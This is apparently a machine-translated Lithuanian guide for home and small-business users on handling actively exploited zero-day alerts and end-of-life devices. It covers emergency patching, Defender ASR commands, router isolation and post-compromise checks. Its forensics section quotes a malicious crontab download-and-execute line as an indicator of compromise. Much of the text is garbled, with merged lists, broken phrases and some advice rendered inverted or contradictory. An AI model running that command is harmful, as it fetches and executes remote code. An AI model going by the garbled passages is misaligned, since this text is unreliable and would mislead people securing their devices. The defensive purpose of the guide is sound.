Nulinės dienos pažeidžiamumo įspėjimai, avarinis pataisymas ir tinklo izoliavimas¶

Atsibundame nuo skubaus JAV kibernetinio saugumo ir infrastruktūros saugumo agentūros patarimo dėl kibernetinio saugumo (CISA), JK nacionalinis kibernetinio saugumo centras (NCSC), Apple, Google arba Microsoft įspėja, kad kritinis Nulinės dienos pažeidžiamumas (0-Day) yra aktyviai išnaudojamas laukinėje gamtoje (KEV) su „iPhone“, „Android“ telefonu, „Windows PC“, „Mac“, „Chrome“ naršykle, namų / biuro VPN užkarda arba prie tinklo prijungta saugykla (NAS) vairuoti arba sužinoję, kad jūsų namų „Wi-Fi“ maršruto parinktuvas, apsaugos kameros NVR arba senesnis kompiuteris pasiekė eksploatavimo pabaigą (EoL / End-of-Support) ir niekada negaus pataisos dėl naujai atskleistos nuotolinio kodo vykdymo klaidos, todėl reikia nedelsiant nustatyti. Skirtingai nuo įprastų mėnesinių programinės įrangos atnaujinimų, aktyviai išnaudojama nulinė diena reiškia, kad grėsmės veikėjai jau turi veikiantį ginkluotą išnaudojimą (pvz., nulinio spustelėjimo iMessage / WhatsApp vaizdo analizatoriaus išnaudojimą, kenkėjišką WebP / šrifto atvaizdavimo naršyklės išnaudojimą arba neautentifikuotą WAN prievado komandą prieš įdiegiant N ir As exploit komandą). pataisymas. Kartą nulinės dienos koncepcijos įrodymas (PoC) yra paskelbtas arba įtrauktas į CISA žinomus išnaudotus pažeidžiamumus (KEV) Katalogas, automatiniai robotų tinklai (Mirai, Volt Typhoon, išpirkos programinės įrangos filialai) nuskaito visą IPv4 internetą per 15-45 minutes, kad užgrobtų kiekvieną nepataisytą įrenginį, veikiantį atvirame žiniatinklyje.

Jei nulinės dienos išnaudojimas sutrikdė gyvybės saugos įrangos, ligoninių klinikinių sistemų ar komunalinių paslaugų infrastruktūrą arba yra susijęs su fiziniu prievartavimu, skambinkite vietiniu pagalbos numeriu (911 JAV ir Kanadoje, 112 visoje Europos Sąjungoje, 999 Jungtinėje Karalystėje) arba pasidomėkite mūsų tarptautinių žinynu pagalbos numeriai nedelsiant. Visiems vartotojų, namų biurų ir smulkaus verslo perspėjimams apie nulinę dieną ir eksploatavimo pabaigą (EoL) aparatinės įrangos avarijų atveju, atlikite toliau pateiktą greito pataisymo, laikino poveikio mažinimo ir tinklo izoliavimo darbo eigą.

Padarykite tai dabar¶

1. ** Taikyti avarinį už juostos ribų (OOB). „Chrome“, „Edge“, „Brave“ ir „Firefox“ pataisyta nulinė diena išlieka atmintyje, kol spustelėsite viršutiniame dešiniajame kampe esantį mygtuką „Paleisti iš naujo, kad atnaujintumėte“ (chrome://settings/help). Jei naudojate „iOS“, „MacOS“, „Windows“ ir „Android“, suaktyvinkite naujinimą rankiniu būdu ir visiškai paleiskite įrenginį iš naujo (taip pat išvalykite nuolatinės atminties turinčią šnipinėjimo programą).
2. **Jei nulinės dienos pataisos dar nėra ("Unpatched 0-Day"), pritaikykite pardavėjo laikiną sprendimą arba atakos paviršiaus mažinimą (ASR).
3. Įjunkite viešąjį IP adresą Shodan.io arba GRC ShieldsUP dabar ir uždarykite visus atvirus WAN prievadus (Port Forwarding / UPnP / DMZ): devyniasdešimt procentų niokojančių namų ir smulkaus verslo nulinės dienos kompromisų nukenčia įrenginius, kurie tiesiogiai pasiekiami iš viešojo interneto (QNAP / Synology NAS diskai, ASUS / Netgear / TP-Link maršrutizatoriaus administratoriaus puslapiai, Plex, RDP Port 3389, arba VPN prietaisai). Prisijunkite prie maršruto parinktuvo ir iš karto išjunkite Nuotolinį WAN administravimą, UPnP (Universal Plug and Play) ir DMZ Host namų maršrutizatorių ir daiktų interneto įrenginių saugos vadovas.
4. Nedelsdami iš naujo paleiskite mobilųjį telefoną ir maršruto parinktuvą, jei įtariate šnipinėjimo programinę įrangą arba botnet infekciją: sudėtingas nulinės dienos išnaudojimas prieš išmaniuosius telefonus (Pegasus, Predator, Triangulation) ir SOHO maršrutizatoriai (VPNFilter, KV Botnet) dažnai veikia grynai viduje nepastovus RAM kad būtų išvengta aptikimo diske. Visiškai išjungus įrenginį, palaukus 60 sekundžių ir vėl jį įjungus, užpuolikas vėl išnaudoja įrenginį (tai nepavyksta, kai įjungiamas avarinis pataisas arba užrakinimo režimas).
5. Tarkime, kad nulinės dienos pataisymas NEGALIMA išstumti užpuoliko, kuris jau pažeidė jūsų įrenginį prieš pataisant jį: programinės įrangos pataisa uždaro atidarytą langą, tačiau nepašalina užpakalinių durų, žiniatinklio apvalkalų, nesąžiningų administratoriaus paskyrų ar pavogtų seansų slapukų, sukurtų, jei užpuolikas pasinaudojo jūsų sistema vakar. Jei jūsų maršruto parinktuvas, NAS, VPN arba serveris buvo veikiamas interneto, kol nebuvo autentifikuotas CVSS 9.8+ zero-day buvo aktyvus laukinėje gamtoje, patikrinkite, ar žurnaluose nėra kompromiso rodiklių (IoCs), pakeiskite visus kredencialus ir atkurkite gamyklinius nustatymus arba atkurkite, jei tai pažeista.
6. Izoliuokite bet kokią gyvavimo pabaigą (EoL) įrenginį, kuris nebegali gauti saugos pataisų į griežtą svečių / daiktų interneto VLAN su užblokuota WAN interneto prieiga: niekada nepalikite eksploatavimo pabaigos kompiuterio, nepalaikomo seno „Mac“, pasenusio „Android“ / „iPhone“ ar nutraukto „Wi-Fi“ maršruto parinktuvo, tiesiogiai prijungto prie pagrindinio LAN arba atviro interneto. Jei EoL maršrutizatorius yra jūsų pagrindinis interneto šliuzas, atjunkite ir nedelsdami pakeiskite jį.

Sprendimų medis: avarinis aktyvių nulinės dienos įspėjimų ir eksploatavimo pabaigos (EoL) aparatūra¶

Vadovaukitės šiuo struktūrizuotu sprendimų medžiu, kai skubus nulinės dienos pažeidžiamumo įspėjimas arba pranešimas apie naudojimo pabaigą paveiks jūsų programinę ar aparatinę įrangą:

flowchart TD
    Alert["Paskelbtas skubus nulinės dienos (0 dienų) arba CISA KEV įspėjimas dėl jūsų OS, naršyklės, maršrutizatoriaus ar NAS"] --> PatchCheck{"1. Ar pardavėjas išleido avarinį saugos pataisą?"}
    PatchCheck -->|"Taip: Galimas pleistras"| Exposure{"2. Ar jūsų įrenginys buvo tiesiogiai veikiamas interneto (atidarytas WAN prievadas) prieš pataisant?"}
    Exposure -->|"Ne: kliento įrenginys, esantis už NAT (telefonas, nešiojamas kompiuteris, naršyklė)"| Apply["Įdiekite naujinimą naudodami vietinius nustatymus + visišką paleidimą iš naujo / nedelsdami paleiskite naršyklę iš naujo"]
    Exposure -->|"Taip: viešas maršrutizatorius, NAS, VPN arba serveris"| Forensic["KRITIŠKA: vien pataisymas užpuolikų neišvaro. Patikrinkite žurnalus, ar nėra žiniatinklio apvalkalų / nesąžiningų administratorių, pataisų, pasukimo klavišų arba gamyklinių parametrų atkūrimo"]
    PatchCheck -->|"Ne: nepataisytas 0 dienų ARBA įrenginys nebenaudojamas (EoL)"| EoLCheck{"3. Ar įrenginio eksploatavimo laikas visam laikui baigiasi (EoL) arba laukia pardavėjo pataisos?"}
    EoLCheck -->|"Laukiama pardavėjo pataisos (laikinas 0 dienų langas)"| Mitigate["Taikykite avarinį sprendimą: uždarykite WAN prievadus, įgalinkite „Apple Lockdown“ režimą / „Windows ASR“ arba išjunkite pažeidžiamą paslaugą"]
    EoLCheck -->|"Visam laikui pasibaigs (joks pleistras niekada nebus)"| Role{"4. Kokį vaidmenį atlieka EoL įrenginys?"}
    Role -->|"Edge maršrutizatorius / ugniasienė / modemas"| Replace["ATJUNKITE IR PAKEISTI NEdelsiant (arba „Flash“ palaikoma „OpenWrt“ programinė įranga, jei aparatinė įranga suderinama)"]
    Role -->|"Senas kompiuteris, senas telefonas, spausdintuvas, fotoaparatas arba NAS"| Isolate["Oro tarpas arba perėjimas prie izoliuoto IoT VLAN + blokuoti interneto prieigą maršrutizatoriaus užkardoje"]

Nulinės dienos patarimo skaitymas kaip saugumo inžinierius (dekodavimas CVE, CVSS, CISA KEV, ir EPSS)¶

Ne kiekvienas programinės įrangos pažeidžiamumas, apie kurį pranešama žiniasklaidoje, reikalauja viską mesti 2:00 val. Penkių techninių rodiklių supratimas pareigūno viduje CISA, NIST NVD, arba pardavėjo saugos biuletenis per 30 sekundžių nurodo, ar susidūrėte su teorine laboratorijos klaida, ar su penkių signalizacijų namų gaisru:

1 etapas: avarinis nulinės dienos pataisymas ir patikrinimas visose pagrindinėse platformose¶

Kai aktyvi nulinė diena pasiekia jūsų operacinę sistemą arba žiniatinklio naršyklę, nelaukite automatinio naktinio priežiūros lango (dažnai atideda diegimą 3-14 dienų). Priverskite traukti ir rankiniu būdu patikrinkite konstrukcijos numerį:

1. Žiniatinklio naršyklės („Google Chrome“, „Microsoft Edge“, „Brave“, „Firefox“, „Safari“): 1. nulinės dienos tikslas¶

Kadangi žiniatinklio naršyklės analizuoja nepatikimą JavaScript (V8 / SpiderMonkey / JavaScriptCore JIT kompiliatoriai), WebRTC vaizdo srautai, WebGL grafika ir vaizdo formatai (WebP, libvpx, FreeType). 1. Google Chrome: įveskite chrome://settings/help adreso juostoje. „Chrome“ nedelsdama patikrins „Google“ naujinimo serverius ir atsisiųs pataisą. Turite spustelėti pasirodžiusį mėlyną „Paleisti iš naujo“ mygtuką ir, jei jūsų sistemos dėkle paslėpti foniniai „Chrome“ procesai, uždarykite juos visus arba iš naujo paleiskite kompiuterį, kad senas pažeidžiamas chrome.exe dvejetainis yra visiškai iškraunamas iš RAM. 2. Microsoft Edge: įveskite edge://settings/help, palaukite, kol atsisiuntimas pasieks 100%, ir spustelėkite Paleisti iš naujo. 3. Drąsi naršyklė: tipas brave://settings/help ir spustelėkite Paleisti iš naujo. 4. Mozilla Firefox: spustelėkite mygtuką Meniu -> Žinynas -> Apie Firefox (arba įveskite about:preferences#general -> slinkite iki Firefox naujinimai) ir spustelėkite Paleisti iš naujo, kad atnaujintumėte Firefox. 5. Apple Safari. System Settings -> General -> Software Update skirta macOS Sonoma / Ventura).

2. Išmanieji telefonai ir planšetiniai kompiuteriai („Apple iOS“ / „iPadOS“ ir „Google Android“)¶

Mobiliojo ryšio nulinės dienos (ypač „iMessage“, „FaceTime“, „WebKit“, pagrindinės juostos modemo ir „Android“ sistemos / „Qualcomm“ GPU trūkumai) dažnai naudojamos komercinės šnipinėjimo programos (Pegasus, Predator) ir tikslinius grėsmės veikėjus. - Apple iPhone ir iPad (iOS / iPadOS): 1. Atidarykite Nustatymai -> Bendra -> Programinės įrangos naujinimas. 2. ĮJUNKITE Automatiniai naujinimai -> Saugos atsakymai ir sistemos failai (taigi Apple Greitasis saugos atsakas / Fono saugos patobulinimai bus taikomi automatiškai tarp pagrindinių iOS leidimų). 3. Nedelsdami įdiekite laukiantį „iOS“ naujinimą, kuris apima visą branduolio paleidimą iš naujo. - Android išmanieji telefonai („Google Pixel“, „Samsung Galaxy“ ir kt.): 1. „Android“ iš tikrųjų turi du atskirus saugos naujinimo kanalus, kuriuos turite patikrinti atskirai: - A kanalas (OS saugos pataisos lygis): atidarykite Nustatymai -> Sauga ir privatumas -> Sistema ir naujinimai -> Saugos naujinys (ir patikrinkite datą: ji turėtų būti per pastarąsias 30-60 dienų). - B kanalas („Google Play“ sistemos naujinimas / projekto pagrindinis tinklas): atidarykite Nustatymai -> Sauga ir privatumas -> Sistema ir naujiniai -> „Google Play“ sistemos naujinys. Daugelis kritinių nulinių dienų „Android“ medijos kodekuose, „Wi-Fi“ dėtuvėje ir vykdymo metu pataisomos naudojant „Google Play“ sistemos naujinius, nelaukiant operatoriaus mėnesinio programinės įrangos atnaujinimo. Palieskite Patikrinti, ar yra naujinimų, įdiekite ir Paleiskite iš naujo dabar.

3. Stalinių kompiuterių operacinės sistemos („Windows 10/11“, „MacOS“ ir „Linux“)¶

• Windows 10 ir Windows 11:
• Atidarykite Nustatymai (Win + I) -> Windows naujinimas -> Patikrinkite, ar nėra naujinimų.
• Taip pat patikrinkite Windows sauga -> Apsauga nuo virusų ir grėsmių -> Apsaugos naujinimai -> Tikrinti, ar yra naujinimų („Microsoft“ dažnai kasdien siunčia avarinius nulinės dienos aptikimus ir pažeidžiamumo virtualias pataisas. Microsoft Defender Security Intelligence apibrėžimas atnaujinamas likus kelioms valandoms iki visos sukauptos Windows pataisos paruošimo).
• Apple macOS:
• Atidarykite Apple Menu -> System Settings -> General -> Software Update. Įsitikinkite, kad „Įdiegti saugos atsakymus ir sistemos failus“ po informacija (i) mygtuką.
• Linux (Ubuntu / Debian ir RHEL / Fedora):
• Nedelsiant paleiskite saugos saugyklos atnaujinimą ir patikrinkite, ar branduolys ar bendrinama biblioteka (glibc, openssl, openssh, xz, cups) reikia paleisti iš naujo:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

2 etapas: avariniai sprendimai, kai dar nėra JOKIŲ pataisų (išgyventi „neužtaisytą nulinės dienos“ langą)¶

Ką veiki kada CISA, Microsoft, Apple, arba saugos įmonė praneša, kad šiuo metu aktyviai išnaudojamas kritinis pažeidžiamumas, bet pardavėjas teigia, kad oficialus pataisas nebus paruoštas dar 3-10 dienų? Turite nedelsdami pritaikyti Kompensuojančius valdiklius ir atakos paviršiaus mažinimą (ASR), kad nutrauktumėte išnaudojimo grandinę, kad ji galėtų vykdyti:

Kopijuoti ir įklijuoti scenarijų: „Windows PowerShell Emergency Zero-day Hardening“ (ASR taisyklės)¶

Jei nepataisyta „Windows“, „Office“ ar PDF nulinė diena cirkuliuoja lauke ir naudojate „Windows 10/11 Pro“ / „Enterprise“ (arba „Defender“ sistemoje „Windows Home“ per registrą/PowerShell), paleiskite šias komandas programoje PowerShell (Run as Administrator), kad suaktyvintumėte „Microsoft Defender“ branduolį Attack Surface Reduction (Attack Surface).ASR) taisyklės Block režimas (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

3 etapas: ką daryti, kai baigiasi įrenginio eksploatavimo laikas (EoL / Paramos pabaiga)¶

Kiekviena aparatinės ir programinės įrangos dalis galiausiai pasiekia eksploatavimo pabaigą (EoL) arba Pagalbos pabaiga (EoS), data, po kurios gamintojas visam laikui nustoja leisti saugos pataisas, net jei tai katastrofiška CVSS 10.0 aptinkami nulinės dienos pažeidžiamumai. - Kodėl gyvenimo pabaiga yra aktyvi ekstremali situacija: užpuolikai naudoja automatinį dvejetainį skirtumą (BinDiff / Ghidra) pataisose, išleistose palaikomiems modeliams (pvz., „Windows 11“ arba naujam 2025 TP-Link maršruto parinktuvui), kad būtų galima tiksliai nustatyti pažeidžiamumą, o tada nedelsiant suaktyvinti išnaudojimą prieš eksploatavimo pabaigos modelius (pvz., „Windows ⅞“ / neprenumeruota „Windows 10“, senesni „MacOS“ leidimai, kurie naudojasi 5 metų senesniu kodu, arba senesniems). niekada negausite pataisos („Forever-Day Exploits“).

4 pakopų gyvenimo pabaiga (EoL) Aparatūros izoliavimo ir keitimo protokolas¶

Naudokite šią sprendimų matricą, kad galėtumėte tvarkyti kiekvieną savo namuose ar biure esantį eksploatavimo pabaigos įrenginį, nerizikuodami pažeisti tinklą:

Kaip užrakinti gyvenimo pabaigą (EoL) Spausdintuvas, fotoaparatas arba NAS maršruto parinktuvo „be interneto vietiniam tik kalėjime“¶

Jei turite senesnį tinklo spausdintuvą, išmanųjį televizorių, IP apsaugos kamerą arba seną NAS diską, kuris vis tiek gerai veikia vietiniame jūsų namų tinkle (LAN), bet pasiekė naudojimo pabaigą ir niekada negausite jokios kitos saugos pataisos, jūs ne neturite jos mesti į šiukšliadėžę, jei užblokuosite ryšį su išoriniu internetu (WAN): 1. Prisijunkite prie pagrindinio „Wi-Fi“ maršrutizatoriaus administravimo konsolės. 2. Eikite į LAN nustatymai / DHCP serveris -> Statinė DHCP nuoma (adreso rezervavimas) ir priskirkite EoL įrenginį MAC Address nuolatinį statinį vietinį IP adresą (pvz., 192.168.1.240). 3. Maršrutizatoriaus nustatymuose eikite į Ugniasienė / Tėvų kontrolė / Prieigos kontrolė / Eismo taisyklės: - Sukurkite taisyklę 192.168.1.240 (arba jo MAC Address) nustatyta į Blokuoti visą interneto (WAN) prieigą (Outbound & Inbound WAN = DROP/REJECT). - Arba paties EoL įrenginio rankiniuose tinklo nustatymuose nustatykite jo statinį IP į 192.168.1.240, Potinklio kaukė į 255.255.255.0, ir ** palikite Default Gateway ir DNS Server laukai yra visiškai tušti (arba nustatykite numatytąjį šliuzą į neegzistuojantį IP, pvz., 192.168.1.254)**. Neturėdamas galiojančio numatytojo šliuzo, EoL spausdintuvas arba fotoaparatas vis tiek gali spausdinti iš vietinio kompiuterių arba perduoti juos srautu. 192.168.1.x potinklis, bet fiziškai nepajėgus nukreipti paketų į internetą arba būti pasiekiamas iš interneto.

4 etapas: kriminalistika po išnaudojimo, jei jūsų įrenginys buvo atskleistas prieš pataisant¶

Kai a CVSS 9.8+ neautentifikuota nulinė diena veikia į internetą nukreiptą įrenginį (pvz., namų ar smulkaus verslo maršruto parinktuvą, VPN šliuzą, QNAP / Synology NAS, Plex medijos serverį arba per prievadą persiųstą darbalaukį), pritaikius tiekėjo programinės aparatinės įrangos naujinimą uždaromos tik priekinės durys. Jei automatinis skaitytuvas pasiekia jūsų viešąjį IP adresą prieš taisant pataisą, užpuolikas jau gali būti įdiegęs nuolatines užpakalines duris, kurios atlaikys standartinį paleidimą iš naujo. Atlikite šį 4 etapų teismo ekspertizės auditą po pataisymo:

1. Patikrinkite, ar nėra neleistinų administratoriaus paskyrų ir SSH raktų:
2. NAS, maršrutizatoriuje arba kompiuteryje atidarykite valdymo ekraną Vartotojai / administratoriai ir patikrinkite, ar nėra nepažįstamų administratoriaus paskyrų (pvz., support, admin2, backup, arba system) buvo sukurti per nulinės dienos langą.
3. „Linux“ / „MacOS“ / NAS sistemose patikrinkite -/.ssh/authorized_keys ir /root/.ssh/authorized_keys patikrinti, ar nebuvo pridėti nesąžiningi viešieji SSH raktai.
4. Aktyvių išeinančių tinklo ryšių auditas (netstat / Router Traffic Monitor) ir DNS nustatymai:
5. Sukompromituotų SOHO maršrutizatorių ir NAS įrenginių pirminis ir antrinis WAN DNS serveriai dažnai užgrobiami, kad būtų nukreiptas į nesąžiningą IP adresą arba būtų palaikomas nuolatinis atvirkštinis apvalkalo / botneto ryšys (SOCKS5 proxy arba Tor relė).
6. Prisijunkite prie maršrutizatoriaus WAN / interneto nustatymų ir patvirtinkite, kad DNS nustatytas kaip numatytasis jūsų IPT arba patvirtintas viešasis sprendimas (1.1.1.1, 8.8.8.8, arba 9.9.9.9).
7. ** Patikrinkite cron Darbai, paleisties scenarijai ir žiniatinklio apvalkalų šakniniai katalogai**:
8. Nulinės dienos išnaudojimai prieš žiniatinklyje valdomus prietaisus beveik visada nukrenta .php, .jsp, .aspx, arba .cgi žiniatinklio apvalkalas į įrenginio žiniatinklio serverio katalogą arba įterpkite nuolatinį crontab atsisiuntimo ir vykdymo eilutė (curl http://.../bot.sh | sh).
9. Jei po nulinės dienos įspėjimo jūsų maršruto parinktuvas arba NAS rodo nepaaiškinamą didelį procesoriaus naudojimą, keistus išeinančio srauto šuolius arba modifikuotus sistemos dvejetainius failus, nepasitikėkite vien programinės aparatinės įrangos naujinimu: kurkite atsargines naudotojo duomenų failų kopijas (tik nuotraukas ir dokumentus, niekada nenaudokite naujausios sistemos konfigūracijos atsarginių kopijų, kuriose gali būti užpuoliko cron).** Rankiniu būdu įdiekite aparatinę įrangą. programinę-aparatinę įrangą iš švaraus kompiuterio ir nustatykite visiškai naują administratoriaus slaptažodį bei naują MFA pradžią.
10. Pakeiskite visus pažeidžiamame įrenginyje saugomus arba per jį perduodamus kredencialus:
11. Jei krašto VPN įrenginys, maršruto parinktuvas arba NAS buvo pažeistas prieš pataisymą, bet kokie paprasto teksto slaptažodžiai, SMB tinklo bendrinimo kredencialai, debesies atsarginės API raktai (AWS S3, Backblaze B2, Wasabi) arba tame įrenginyje saugomi SSL/TLS privatūs raktai turi būti atšaukti ir nedelsiant atkurti.

Dažnai užduodami klausimai¶

Ar įdiegus nulinės dienos pataisą pašalinami įsilaužėliai, jei mano įrenginys jau buvo išnaudotas prieš man atnaujinant?¶

Ne. Programinės įrangos saugos pataisa ištaiso tik pagrindinį kodo pažeidžiamumą, todėl būsimi bandymai išnaudoti nepavyks; ji nepanaikina užpuoliko, kuris jau pasinaudojo pažeidžiamumu prieš pataisydamas ir įdiegė nuolatinį žiniatinklio apvalkalą, užpakalinių durų dvejetainį failą, suplanuotą užduotį ar nesąžiningą administratoriaus paskyrą, taip pat nepanaikina jau pavogtų seansų slapukų ar slaptažodžių. Jei jūsų įrenginys buvo tiesiogiai veikiamas viešajame internete (pvz., maršruto parinktuvas, NAS, VPN įrenginys ar viešasis serveris), o neautentifikuota nulinė diena buvo aktyviai išnaudojama gamtoje, turite patikrinti sistemos žurnalus, ar nėra kompromiso rodiklių (IoC), pasukti visus slaptažodžius ir SSH / API raktus ir atlikti švarų gamyklinių parametrų atkūrimą arba iš naujo įdiegti OS.

Kaip patikrinti, ar mano „Wi-Fi“ maršruto parinktuvas arba kompiuteris pasiekė eksploatavimo pabaigą (EoL)?¶

Pažiūrėkite į gamintojo etiketę maršrutizatoriaus apačioje (atsižvelgdami į tikslų modelio numerį ir aparatinės įrangos versiją, pvz., v1, v2 arba v4) ir patikrinkite oficialų gamintojo eksploatavimo pabaigos / paslaugų pabaigos produktų sąrašo tinklalapį (paskelbė ASUS, Netgear, TP-Link, Linksys, D-Link), operacinės sistemos endoflife ir QNAP duomenų bazėje. telefonai ir programinė įranga. Be to, prisijunkite prie maršrutizatoriaus programinės aparatinės įrangos atnaujinimo ekrano: jei naujausios turimos programinės aparatinės įrangos data yra senesnė nei 18-24 mėnesiai, traktuokite maršrutizatorių kaip de facto pasibaigusį eksploatavimo laiką ir pakeiskite jį arba „Flash“ palaikomą „OpenWrt“ programinę-aparatinę įrangą.

Ar galiu padaryti nebenaudojamą „Windows 10“ asmeninio kompiuterio arba senojo „Mac“ saugų neįsigijęs naujo kompiuterio?¶

Taip. Kai „Microsoft“ nutraukia nemokamą vartotojų saugos palaikymą „Windows“ versijai arba „Apple“ atsisako senesnio „Intel“ ar ankstyvojo „Mac“ modelio „macOS“ naujinimų, fizinė kompiuterio aparatinė įranga yra gerai; tik operacinė sistema yra „End-of-Life“. Galite užregistruoti „Windows 10“ kompiuterį oficialioje „Microsoft“ išplėstinių saugos naujinimų (ESU) programoje arba kurti atsargines failų kopijas ir įdiegti modernią, aktyviai pataisytą, nemokamą „Linux“ operacinę sistemą, pvz., „Linux Mint“, „Ubuntu LTS“, „Fedora“ arba „Google ChromeOS Flex“, naudodami USB atmintinę, kuri suteikia jūsų esamam nešiojamajam kompiuteriui dar 5-8 metų nepertraukiamo nulinės dienos naršyklės branduolio apsaugą.

Šaltiniai patikrinti¶

• Kibernetinio saugumo ir infrastruktūros saugumo agentūra (CISA, Jungtinės Valstijos): Žinomos išnaudojamos spragos (KEV) Katalogas, privalomoji veiklos direktyva BOD 22-01 (Sumažinti žinomų išnaudojamų pažeidžiamumų reikšmingą riziką) ir BOD 23-02 (Interneto valdymo sąsajų rizikos mažinimas).
• Federalinis tyrimų biuras (FBI), Nacionalinio saugumo agentūra (NSA), ir JK nacionalinis kibernetinio saugumo centras (NCSC).EoL) SOHO maršrutizatoriai, ugniasienės ir VPN įrenginiai*.
• Nacionalinis standartų ir technologijos institutas (NIST, Jungtinės Valstijos): SP 800-40 4 red., Įmonių pataisų valdymo planavimo vadovas: Technologijų prevencinė priežiūra.
• „Apple Platform Security & Citizen Lab“ (Toronto universitetas): iOS / macOS užrakinimo režimo architektūra ir greito saugumo reagavimo nulio spustelėjimo šnipinėjimo programų mažinimo gairės.
• Microsoft Security Response Center (MSRC): Microsoft Defender atakos paviršiaus mažinimas (ASR) Diegimo nuoroda nulinės dienos švelninimui ir nejudančiam (OOB) Saugos atnaujinimo gairės.

Susiję vadovai¶

• Namų maršrutizatorių, išmaniųjų televizorių ir daiktų interneto įrenginių apsauga
• Kenkėjiškų programų, išpirkos reikalaujančių programų ir šnipinėjimo programų pašalinimas
• Stalkerware, šnipinėjimo programų ir klaviatūros registravimo programų aptikimas telefonuose
• Atsakymas į duomenų pažeidimą, nutekėję slaptažodžiai ir kredito įšaldymas
• Pagalbos numeriai pagal šalį